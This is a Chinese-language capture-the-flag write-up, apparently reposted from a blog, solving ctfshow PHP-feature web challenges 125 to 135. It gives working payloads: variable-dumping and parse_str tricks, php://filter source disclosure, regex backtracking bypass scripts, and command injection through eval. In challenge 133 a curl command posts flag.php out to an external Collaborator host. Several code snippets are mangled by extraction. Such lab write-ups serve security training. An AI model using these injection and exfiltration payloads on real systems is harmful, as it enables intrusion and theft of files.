ctfshow php特性[125-135]
😋 大家好,我是YAy_17,是一枚爱好网安的小白,自学ing。
本人水平有限,欢迎各位大佬指点,一起学习 💗 ,一起进步 ⭐ 。
⭐ 此后如竟没有炬火,我便是唯一的光。 ⭐
web 125
var_dump()被过滤,但是还有var_export()函数,该函数与var_dump函数功能类似:
fun=var_export(get_defined_vars())&CTF_SHOW=1&CTF[SHOW.COM=1
web 126
上面的方法已经不能在使用了,这里本地测试这样一段代码:
string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me"?>
之后再利用parse_str()函数将字符串解析到变量中;";echo $age;?>
//输出结果为:Peter
//43
最终的payload为:
get:a=1+fl0g=flag_give_me
post:fun=parse_str($a[1])&CTF_SHOW=1&CTF[ SHOW.COM =1
web 127
|\.|\\\|\//', $url)){ return true; }else{ return false; }}if(waf($url)){ die("嗯哼?");}else{ extract($_GET);}if($ctf_show==='ilove36d'){ echo $flag;}
php在解析查询字符串的时候,他会做两件事情:
将空白符删除掉
将某些字符替换为下划线(某些字符包括:. [ + _ 以及空格)
payload:ctf show=ilove36d
web 128
本题目考察的是gettext()函数,GET方式传递的参数f1会经过check函数的检测,不可以包含数字和字母,所以gettext函数就无法通过check函数的正则匹配;
gettext()函数的扩展---->_() 二者的效果是相同的;
需要在php.ini中,找到“extension=php_gettext.dll”,将前面的分号去掉:
测试代码:
可见二者的效果是相同的!
f2可以使用get_defined_vars()函数,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
paylaod: f1=_&f2=get_defined_vars
web 129
0){ echo readfile($f); }}
stripos():返回某一个字符串在另一个字符串中首次出现的位置;第一个位置是0;
可以使用php://filter伪协议,将过滤器写为ctfshow,无效就会被忽略,直接输出源码
f=php://filter/ctfshow/resource=flag.php
web 130
在题目链接处,有一个提示:
先分析代码中的if条件:
preg_match():其中的‘.’代表着匹配前面的单个字符,‘+’代表匹配一次或者是多次,‘+?’代表重复一次或者多次,尽可能的少重复;(大概就是匹配到*ctfshow,*代表任意字符,就会返回true)
stripos()函数:不区分大小写,返回子串在字符串中第一次出现的位置,位置是从0开始的;没有查找到,返回FALSE,stripos函数对于传递数组情况下,返回值为NULL,NULL!=FALSE
因此这里就存在两种方法:
直接传参值为:ctfshow
传递数组f[]=1
看大佬的wp还有一种方法就是题目提示的方法,利用回溯限制,当回溯的次数超过了25w的时候,使得preg_match函数返回false,从而绕过preg_match函数:
import requestsurl = 'http://d85be3be-8a0c-43e5-bb50-72ee96382dac.challenge.ctf.show/'data={ 'f':'very'*250000+'ctfshow'}r = requests.post(url=url,data=data).textprint(r)
web 131
上面的两种方法都不能用了,只能用回溯的方法:
import requestsurl = 'http://560daf29-37f2-4477-ab88-20b8a8976876.challenge.ctf.show/'data = { 'f':'very'*250000+'36Dctfshow'}r = requests.post(url=url,data=data).textprint(r)
web 132
来到界面,尝试点了点链接,没什么发现:
尝试访问了robots.txt:
尝试访问,成功发现题目所在地:
在第二个if中发现存在&&和||,要知道&&的优先级是高于||的,因此$code === mt_rand(1,0x36D) 如果为假,后面的 $password === $flag是不会执行的!我们只需要让username=admin即可
第三个if需要让$code变量为admin,所以只需要让code再等于admin即可,password任意
web 133
限制长度且无回显的RCE:
这个题目涨姿势了;思路是利用变量覆盖实现rce:
?F=`$F`;+sleep 3
上面的payload看似超过了长度6,但是执行的时候,发现网页好像是延迟了3秒,思考一下原理:我们通过GET方式传递了F参数,值为`$F`;+sleep 3,通过substr()函数截取了前面的六位字符,然后通过eval()函数进行执行;也就是截取的`$F`;+ 通过eval()函数,将eval函数中的内容当作是php代码进行执行;``符号其实就是shell_exec函数,进行命令执行。相当于执行的就是变量F的内容。
那么变量F的内容是什么?就是我们传递的`$F`;+sleep 3 最终`$F`----->``$F;+sleep 3成功突破长度的限制;
总结来说就是+号后面都是我们可控的!
接下来就是通过curl来带出flag.php
curl是一种命令行工具,作用是发出网络请求,然后获取数据,显示在”标准输出“上。
curl -f将flag文件上传到Brup Suite的Collaborator Client(类似于DNSLOG),其功能要比DNSLOG强大,主要体现在可以查看POST请求以及打Cookies
查看网页源码:直接在curl命令后面加上网址 例如curl www.baidu.com
如果要把这个网页保存下来,可以使用-o参数 例如curl -o 【文件名】 www.baidu.com
发送表单信息:
GET方式相对简单,只要把数据附在网址后面就行
POST方式必须要把数据和网址分开,curl就要用到--data或者是-d参数;例如 curl -X POST --data "data=xxx" www.xxx.com (不加-X默认是GET方式 -X可以指定请求方式)
//payload:?F=`$F`;+curl -X POST -F xx=@flag.php http://gk4ubl6jnzii6pmkgmvyvmhxsoyfm4.oastify.com
其中-X 指定请求方式POST
-F 为带文件的形式发送POST请求
xx是上传文件的name值,flag.php就是上传的文件
web 134
以GET方式传递_POST[a],就相当于post方式传递参数a
//构造payload:?_POST[key1]=36d&_POST[key2]=36d
查看源码拿到flag
web 135
在133,通过使用命令行工具curl实现,但是在135会发现,正则匹配中存在着curl;
但是没有过滤nl cp mv等命令;
?F=`$F`;+cp flag.php flag.txt?F=`$F`;+mv flag.php flag.txt?F=`$F`;+nl f*>flag.txt
来源地址:https://blog.csdn.net/weixin_44770698/article/details/128707261
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341